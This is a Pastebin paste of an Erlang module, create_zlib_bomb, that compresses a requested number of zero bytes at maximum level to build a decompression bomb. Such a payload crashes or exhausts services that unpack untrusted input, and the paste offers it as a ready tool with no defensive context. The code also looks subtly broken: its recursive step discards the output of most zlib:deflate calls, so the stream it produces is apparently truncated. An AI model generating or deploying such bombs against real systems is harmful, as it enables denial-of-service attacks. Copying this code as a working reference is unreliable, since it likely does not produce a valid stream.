Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -module(create_zlib_bomb).
- -export([do_it/1]).
- -define(CHUNK_SZ, (128 * (1 bsl 10))).
- do_it(Size) ->
- Z = zlib:open(),
- zlib:deflateInit(Z, 9, deflated, 15, 9, default),
- Data = deflate_zeroes(Z, Size),
- zlib:deflateEnd(Z),
- iolist_to_binary(Data).
- deflate_zeroes(Z, Size) ->
- Chunk = bin_zeroes(?CHUNK_SZ),
- deflate_zeroes(Z, Size, Chunk).
- deflate_zeroes(Z, Size, Chunk) when Size >= byte_size(Chunk) ->
- zlib:deflate(Z, Chunk, none),
- deflate_zeroes(Z, Size - byte_size(Chunk), Chunk);
- deflate_zeroes(Z, Size, _Chunk) ->
- TailChunk = bin_zeroes(Size),
- zlib:deflate(Z, TailChunk, finish).
- bin_zeroes(Size) ->
- bin_zeroes(Size, []).
- bin_zeroes(Size, Acc) when Size < 1 ->
- list_to_binary(Acc);
- bin_zeroes(Size, Acc) ->
- bin_zeroes(Size - 1, [0 | Acc]).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement